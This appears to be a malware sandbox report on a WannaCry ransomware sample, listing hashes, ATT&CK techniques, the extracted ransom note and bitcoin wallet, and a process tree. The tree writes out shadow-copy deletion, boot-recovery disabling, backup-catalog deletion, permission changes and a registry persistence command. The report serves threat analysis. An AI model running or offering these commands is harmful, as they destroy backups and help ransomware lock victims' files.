wannacry | ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa

Resubmissions

29/01/2024, 19:04

240129-xqyzxaacbj 10

Analysis

max time kernel
2s
max time network
117s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
29/01/2024, 19:04

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General

Target

WannaCry.exe
Size

3.4MB
MD5

84c82835a5d21bbcf75a61706d8ab549
SHA1

5ff465afaabcbf0150d1a3ab2c2e74f3a4426467
SHA256

ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa
SHA512

90723a50c20ba3643d625595fd6be8dcf88d70ff7f4b4719a88f055d5b3149a4231018ea30d375171507a147e59f73478c0c27948590794554d031e7d54b7244
SSDEEP

98304:QqPoBhz1aRxcSUDk36SAEdhvxWa9P593R8yAVp2g3x:QqPe1Cxcxk3ZAEUadzR8yc4gB

Score

10^/10

wannacry discovery ransomware spyware stealer worm

Malware Config

Extracted

Path

C:\Users\Admin\Documents\@[email protected]

Family

wannacry

Ransom Note

Q: What's wrong with my files? A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted. If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely! Let's start decrypting! Q: What do I do? A: First, you need to pay service fees for the decryption. Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94 Next, please find an application file named "@[email protected]". It is the decrypt software. Run and follow the instructions! (You may need to disable your antivirus for a while.) Q: How can I trust? A: Don't worry about decryption. We will decrypt your files surely because nobody will trust us if we cheat users. * If you need our assistance, send a message by clicking <Contact Us> on the decryptor window. �

Wallets

13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94

Signatures

Wannacry
WannaCry is a ransomware cryptoworm.
ransomware worm wannacry
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Drops startup file 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SD1244.tmp	WannaCry.exe

Executes dropped EXE 1 IoCs

pid	Process
2824	taskdl.exe

Loads dropped DLL 3 IoCs

pid	Process
2948	WannaCry.exe
2948	WannaCry.exe
2060	cscript.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2664	icacls.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Interacts with shadow copies 2 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2324	vssadmin.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2456	reg.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2948 wrote to memory of 2648	2948	WannaCry.exe	28
PID 2948 wrote to memory of 2648	2948	WannaCry.exe	28
PID 2948 wrote to memory of 2648	2948	WannaCry.exe	28
PID 2948 wrote to memory of 2648	2948	WannaCry.exe	28
PID 2948 wrote to memory of 2664	2948	WannaCry.exe	29
PID 2948 wrote to memory of 2664	2948	WannaCry.exe	29
PID 2948 wrote to memory of 2664	2948	WannaCry.exe	29
PID 2948 wrote to memory of 2664	2948	WannaCry.exe	29
PID 2948 wrote to memory of 2824	2948	WannaCry.exe	32
PID 2948 wrote to memory of 2824	2948	WannaCry.exe	32
PID 2948 wrote to memory of 2824	2948	WannaCry.exe	32
PID 2948 wrote to memory of 2824	2948	WannaCry.exe	32
PID 2948 wrote to memory of 1296	2948	WannaCry.exe	33
PID 2948 wrote to memory of 1296	2948	WannaCry.exe	33
PID 2948 wrote to memory of 1296	2948	WannaCry.exe	33
PID 2948 wrote to memory of 1296	2948	WannaCry.exe	33
PID 1296 wrote to memory of 2060	1296	cmd.exe	35
PID 1296 wrote to memory of 2060	1296	cmd.exe	35
PID 1296 wrote to memory of 2060	1296	cmd.exe	35
PID 1296 wrote to memory of 2060	1296	cmd.exe	35
PID 2948 wrote to memory of 1500	2948	WannaCry.exe	37
PID 2948 wrote to memory of 1500	2948	WannaCry.exe	37
PID 2948 wrote to memory of 1500	2948	WannaCry.exe	37
PID 2948 wrote to memory of 1500	2948	WannaCry.exe	37

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2648	attrib.exe
1500	attrib.exe

C:\Users\Admin\AppData\Local\Temp\WannaCry.exe
"C:\Users\Admin\AppData\Local\Temp\WannaCry.exe"
1⤵
- Drops startup file
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2948
- C:\Windows\SysWOW64\attrib.exe
  attrib +h .
  2⤵
  - Views/modifies file attributes
  PID:2648
- C:\Windows\SysWOW64\icacls.exe
  icacls . /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:2664
- C:\Users\Admin\AppData\Local\Temp\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:2824
- C:\Windows\SysWOW64\cmd.exe
  cmd /c 221581706555090.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1296
- - C:\Windows\SysWOW64\cscript.exe
    cscript.exe //nologo m.vbs
    3⤵
    - Loads dropped DLL
    PID:2060
- C:\Windows\SysWOW64\attrib.exe
  attrib +h +s F:\$RECYCLE
  2⤵
  - Views/modifies file attributes
  PID:1500
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c start /b @[email protected] vs
  2⤵
  PID:1140
- - C:\Users\Admin\AppData\Local\Temp\@[email protected]
    @[email protected] vs
    3⤵
    PID:848
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
      4⤵
      PID:896
- C:\Users\Admin\AppData\Local\Temp\@[email protected]
  @[email protected] co
  2⤵
  PID:1444
- - C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exe
    TaskData\Tor\taskhsvc.exe
    3⤵
    PID:1504
- C:\Users\Admin\AppData\Local\Temp\taskdl.exe
  taskdl.exe
  2⤵
  PID:2488
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "fqyxddakcrpkv608" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f
  2⤵
  PID:2772
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "fqyxddakcrpkv608" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f
    3⤵
    - Modifies registry key
    PID:2456
- C:\Users\Admin\AppData\Local\Temp\@[email protected]
  @[email protected]
  2⤵
  PID:2696
- C:\Users\Admin\AppData\Local\Temp\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
  2⤵
  PID:2592
- C:\Users\Admin\AppData\Local\Temp\taskdl.exe
  taskdl.exe
  2⤵
  PID:1936
- C:\Users\Admin\AppData\Local\Temp\@[email protected]
  @[email protected]
  2⤵
  PID:1636
- C:\Users\Admin\AppData\Local\Temp\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
  2⤵
  PID:1756
- C:\Users\Admin\AppData\Local\Temp\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
  2⤵
  PID:1452
- C:\Users\Admin\AppData\Local\Temp\@[email protected]
  @[email protected]
  2⤵
  PID:1520
- C:\Users\Admin\AppData\Local\Temp\taskdl.exe
  taskdl.exe
  2⤵
  PID:2928
- C:\Users\Admin\AppData\Local\Temp\taskdl.exe
  taskdl.exe
  2⤵
  PID:3048
- C:\Users\Admin\AppData\Local\Temp\@[email protected]
  @[email protected]
  2⤵
  PID:3068
- C:\Users\Admin\AppData\Local\Temp\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
  2⤵
  PID:2104

C:\Windows\SysWOW64\vssadmin.exe
vssadmin delete shadows /all /quiet
1⤵
- Interacts with shadow copies
PID:2324

C:\Windows\SysWOW64\Wbem\WMIC.exe
wmic shadowcopy delete
1⤵
PID:1584

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:2300

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact